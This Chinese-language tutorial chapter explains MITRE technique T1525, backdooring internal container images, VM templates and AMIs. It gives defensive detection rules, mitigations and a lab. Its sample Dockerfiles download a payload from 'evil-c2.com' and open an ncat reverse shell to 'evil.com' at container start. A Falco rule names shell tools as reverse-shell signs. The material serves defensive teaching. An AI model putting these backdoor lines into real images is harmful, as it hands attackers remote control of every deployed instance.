Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

T1525 - 植入内部镜像

一句话通俗理解

想象一下,公司食堂的中央厨房被内鬼动了手脚——他往每天给所有分店配送的“标准调料包“里掺了慢性毒药。以后每开一家新分店、每用一次调料,毒药就自动进来了。植入内部镜像就是这个套路:攻击者往企业内部容器镜像、VM模板、AMI黄金镜像里植入后门,以后每次部署新实例都自带恶意代码。

30秒速查卡

维度你需要知道的
这是什么?篡改云环境的基础镜像(容器镜像/VM模板/AMI)实现规模化持久化
为什么危险?一个被污染的镜像会扩散到成百上千个新实例,难以根治
谁需要关心?DevOps团队、云安全团队、容器平台管理员
你的第一步防御镜像仓库开启不可变模式和签名验证
如果只做一件事对所有基础镜像做hash基线,部署前校验签名

难度等级

⭐⭐⭐ 高级:需要云/容器平台运维知识,以及镜像仓库写权限

前置知识要求

  • 理解容器镜像分层结构和Dockerfile构建流程
  • 熟悉VM模板/AMI/黄金镜像的创建和分发机制
  • 了解镜像签名和验证原理(Notary/cosign)
  • 知道CI/CD流水线如何使用基础镜像

前置知识检查

在读下面的内容前,确认你能回答这些问题:

  • 容器镜像的“分层“是什么意思?为什么改一层会影响所有依赖它的镜像?
  • 企业常用的“黄金镜像“(Golden Image)是什么?怎么分发到各个云区域?
  • docker pull 时如何验证镜像没被篡改?
  • 为什么说“污染一个基础镜像等于黑掉所有下游实例“?

如果有3个以上答不上来,建议先补一下云原生镜像管理基础再继续。

技术描述

用人话说:内部镜像是什么?

企业云环境里有大量“模板镜像“——就像食堂的标准调料包。开发团队不每次都从头搭环境,而是基于一个“基础镜像“快速创建新实例:

  • 容器镜像:如 ubuntu:20.04python:3.9-slim,存在镜像仓库(Harbor/ACR/ECR)
  • VM模板:VMware模板、AWS AMI、Azure镜像,用于快速部署虚拟机
  • 黄金镜像:企业定制的基础镜像,预装了监控agent、安全agent、标准组件

进阶理解:这些镜像在CI/CD流水线里被反复引用——每次部署微服务、扩容、灾难恢复都从基础镜像拉起。攻击者只需在一个基础镜像里植入后门,所有下游实例都会“遗传“恶意代码。这比逐个入侵实例高效得多。

攻击者如何植入后门

1. 容器镜像污染

攻击者获取镜像仓库写权限后,重新构建并推送同名镜像:

# 原始基础镜像 dockerfile
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y python3

# 攻击者篡改后的dockerfile(植入后门)
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y python3
# 植入后门:伪装成系统更新agent
RUN curl -s http://evil-c2.com/agent -o /usr/local/bin/.update && \
    chmod +x /usr/local/bin/.update
# 设置启动时执行
ENTRYPOINT ["/usr/local/bin/.update", "--daemon"]

所有基于此镜像构建的下游镜像都会继承后门,且后门在容器启动时自动执行。

2. VM模板/AMI污染

攻击者修改VMware模板或AWS AMI:

  • 在模板系统的启动脚本里植入后门
  • 修改系统服务(如cron/systemd)加载恶意载荷
  • 替换系统二进制(如sshd)为木马版本

3. CI/CD流水线投毒

更隐蔽的方式:攻击者篡改CI/CD流水线的Dockerfile或构建脚本,让每次自动构建都植入后门——即便基础镜像被清理,下次构建又会重新污染。

子技术列表

T1525为父技术,暂无MITRE官方子技术分类。但根据攻击载体可分:

变体平台说明
容器镜像投毒Container篡改Docker/OCI镜像
VM模板投毒IaaS篡改AMI/VMware模板/Azure镜像
CI/CD流水线投毒CI/CD篡改构建脚本植入后门

攻击流程

graph TD
    A[获取镜像仓库/CI/CD写权限] --> B[选择目标基础镜像]
    B --> C[克隆镜像到本地]
    C --> D[植入后门:启动项/服务/二进制替换]
    D --> E[重新构建并推送同名镜像]
    E --> F[等待下游部署使用污染镜像]
    F --> G[新实例启动自动执行后门]
    G --> H[后门连接C2/开放持久访问通道]
    H --> I[攻击者获得对所有下游实例的持久控制]
    I --> J[清理镜像仓库日志避免被发现]

真实案例

案例1:Codecov供应链事件波及容器镜像(2021)

  • 时间:2021年1月-4月
  • 目标:使用Codecov代码覆盖工具的开发团队
  • 攻击组织:未归因(疑似国家级APT)
  • 手法:攻击者篡改Codecov的bash uploader脚本(CI/CD常用工具),使其在执行时泄露环境变量(含云凭证、Token)。部分受害者的CI/CD凭证被盗后,攻击者进一步访问其镜像仓库,篡改内部容器镜像植入后门。后门在容器启动时回连C2。
  • 影响:Codecov披露后,估计数千个组织的CI/CD流程受影响,部分组织的内部镜像被污染
  • 数据来源:Codecov官方公告 + Rapid7事后分析(一手厂商报告)

📚 深入了解:Rapid7《Codecov Supply Chain Attack Analysis》详细分析了CI/CD凭证泄露如何导致镜像仓库被入侵

案例2:TeamTNT投毒Docker Hub公开镜像(2020-2022)

  • 时间:2020年4月-2022年10月
  • 目标:使用Docker Hub公开镜像的开发者
  • 攻击组织:TeamTNT(挖矿组织,专攻容器环境)
  • 手法:TeamTNT在Docker Hub注册多个伪装成常用工具的镜像仓库(如假的alpine-toolspython-builder),镜像里预埋挖矿脚本和SSH后门。开发者pull这些镜像构建自己的应用时,挖矿程序随容器启动自动运行。部分受害者基于这些污染镜像构建了内部基础镜像,导致企业内部镜像仓库被二次污染。
  • 影响:数千个Docker Hub账户拉取了污染镜像,TeamTNT累计挖矿获利超50万美元
  • 数据来源:Aqua Security《TeamTNT追踪报告》(一手厂商报告)

案例3:UNC3886篡改VMware ESXi镜像持久化(2022-2023)

  • 时间:2022年9月-2023年3月
  • 目标:使用VMware ESXi虚拟化平台的企业和政府
  • 攻击组织:UNC3886(中国背景APT,Mandiant归因)
  • 手法:UNC3886通过0day入侵ESXi主机后,修改ESXi的VIB(vSphere Installation Bundle)包——这是ESXi系统的“基础镜像“组件。攻击者植入自定义VIB包含后门模块,即便管理员重装ESXi或打补丁,恶意VIB仍会随系统更新被重新安装。后门通过伪造VMware驱动模块实现持久化,极难通过常规手段检测。
  • 影响:多家国防承包商和政府机构ESXi环境被长期潜伏
  • 数据来源:Mandiant M-Trends 2023报告(一手厂商报告)

🎯 真实攻击:Mandiant公开了UNC3886的VIB持久化技术细节,是研究VM镜像投毒的标杆案例

红队视角

可持续利用手段

手段说明检测难度
镜像分层继承后门放在基础层,所有下游镜像继承
CI/CD自动重建即便清理镜像,下次构建又污染极高
VM模板VIB植入ESXi系统级VIB,重装也保留极高
镜像签名绕过窃取签名密钥给恶意镜像签名

可复制性分析

维度评分说明
技术门槛⭐⭐⭐⭐需要云平台运维知识和仓库权限
工具可用性⭐⭐⭐docker/packer等工具易得
检测规避⭐⭐⭐⭐⭐一旦污染,极难根除
跨平台适用⭐⭐⭐⭐容器/VM/云平台通用

蓝队视角

用人话说:怎么发现“调料包被下毒“?

镜像仓库就像调料仓库——正常情况下每个调料瓶都有批次号、生产日期、质检章。防御核心是签名验证+不可变存储+部署前校验:所有镜像必须签名,部署前校验签名,仓库开启不可变模式防止覆盖推送。

检测规则

容器镜像:监控仓库push事件

# Sigma风格规则:检测镜像仓库异常push
title: 容器镜像仓库异常推送
logsource:
    product: container
    service: registry
detection:
    selection_overwrite:
        action: push
        tag: latest  # 覆盖latest标签可疑
    selection_offhours:
        action: push
        time: offhours  # 非工作时间push
    condition: selection_overwrite or selection_offhours
level: medium
# Harbor仓库:监控镜像覆盖事件
# 查看近期push日志
curl -k -X GET "https://harbor.company.com/api/v2/audit-logs?operation=create" \
  -H "Authorization: Bearer $TOKEN" | jq '.[] | select(.resource_type=="artifact")'

# 对比镜像hash基线
docker pull internal-registry/app:latest
docker inspect --format='{{.Id}}' internal-registry/app:latest
# 与基线hash比对

VM模板:监控AMI/模板变更

# AWS:监控AMI创建和共享事件(CloudTrail)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateImage \
  --start-time 2026-06-01T00:00:00Z

# 检查AMI是否有快照被修改
aws ec2 describe-images --owners self --query \
  'Images[?CreationDate>`2026-06-01`].[ImageId,Name,CreationDate]'

镜像签名验证(cosign)

# 部署前验证镜像签名
cosign verify --key cosign.pub internal-registry/app:v1.0
# 如果签名验证失败,拒绝部署

检测建议分层

层次检测点工具
网络层容器实例启动后异常出网Cilium/Calico网络策略
主机层容器内可疑进程/异常二进制Falco/Tetragon
应用层镜像仓库变更/CI/CD日志异常Harbor审计日志

避坑指南

说明正确做法
只扫描新镜像忽略已存在的镜像被覆盖更新监控所有push事件含覆盖
忽略VM模板只查容器镜像忽略AMI/模板VM模板也要hash基线
信任latest标签latest被覆盖后下游全部受影响禁用latest,用版本号
不验证签名只检查镜像名不验证签名强制cosign/Notary签名验证
忘记CI/CD清理了镜像但CI/CD下次又污染CI/CD流水线也要做基线

检测建议

网络层检测

  • 容器实例启动后立即出网到非常用IP
  • 镜像仓库来自非白名单IP的push操作
  • CI/CD runner异常网络行为

主机层检测(最重要)

  1. Falco规则(容器运行时检测):
# 检测容器启动后立即建立反向连接
- rule: Container Reverse Shell
  desc: 检测容器内反向shell
  condition: evt.type=execve and container and proc.name in (bash, sh, nc)
  output: "Container reverse shell (user=%user.name container=%container.name)"
  priority: WARNING
  1. 镜像扫描
# Trivy扫描镜像已知漏洞+后门特征
trivy image --severity HIGH,CRITICAL internal-registry/app:v1.0

# 对比镜像层hash基线
docker history internal-registry/app:v1.0 --no-trunc

应用层检测

  • 镜像仓库开启不可变标签(immutable tag)
  • CI/CD流水线签入审批制
  • 镜像签名强制验证

缓解措施

措施说明实施难度
镜像签名用cosign/Notary对所有镜像签名
不可变标签禁止覆盖已存在的标签
基础镜像hash基线记录所有基础镜像hash,部署前校验
镜像仓库最小权限限制push权限仅给CI/CD服务账号
VM模板版本控制模板变更需审批,保留历史版本
部署前安全扫描Trivy/Clair扫描后才允许部署
CI/CD流水线加固流水线脚本版本控制+审批

动手实验

实验1:检测镜像被篡改(隔离环境)

# 1. 拉取原始镜像并记录hash
docker pull nginx:alpine
ORIGINAL_HASH=$(docker inspect --format='{{.Id}}' nginx:alpine)
echo "原始hash: $ORIGINAL_HASH"

# 2. 模拟攻击者篡改(基于此镜像构建含后门版本)
cat > Dockerfile.evil << 'EOF'
FROM nginx:alpine
RUN apk add --no-cache ncat
RUN echo '#!/bin/sh' > /entrypoint.sh
RUN echo 'ncat -e /bin/sh evil.com 4444 &' >> /entrypoint.sh
RUN echo 'nginx -g "daemon off;"' >> /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
EOF
docker build -t nginx:alpine -f Dockerfile.evil .

# 3. 验证hash变化
TAMPERED_HASH=$(docker inspect --format='{{.Id}}' nginx:alpine)
echo "篡改后hash: $TAMPERED_HASH"

# 4. 检测差异
docker history nginx:alpine --no-trunc | head -20
# 预期看到异常的ncat安装和entrypoint.sh

# 清理
docker rmi nginx:alpine

预期输出

原始hash: sha256:2bcbf...
篡改后hash: sha256:a1b3c...  # hash变化
IMAGE          CREATED        CREATED BY                                      SIZE
a1b3c...       1 minute ago   /bin/sh -c chmod +x /entrypoint.sh              12B
b2c4d...       1 minute ago   /bin/sh -c echo 'nginx -g "daemon off;"' >>...  40B

专用工具表

工具平台用途
cosign容器镜像签名验证(Sigstore)
Trivy容器镜像漏洞+后门扫描
Falco容器运行时行为检测
Harbor容器企业镜像仓库含审计
PackerVMVM模板构建工具
Notary容器镜像签名(Docker官方)

术语解释

术语解释
容器镜像容器运行的只读模板,含应用和依赖
黄金镜像企业定制的基础镜像,预装标准组件
AMIAmazon Machine Image,AWS的VM模板
VIBvSphere Installation Bundle,ESXi系统包
镜像分层容器镜像由多个只读层叠加而成
不可变标签镜像仓库功能,禁止覆盖已存在标签
cosignSigstore项目的镜像签名工具

参考资料

📚 深入了解(MITRE官方)

🔧 动手试试

🎯 真实攻击

版本历史

版本日期变更
v3.12026-07-10从跨战术污染重写为持久化(TA0003)正确内容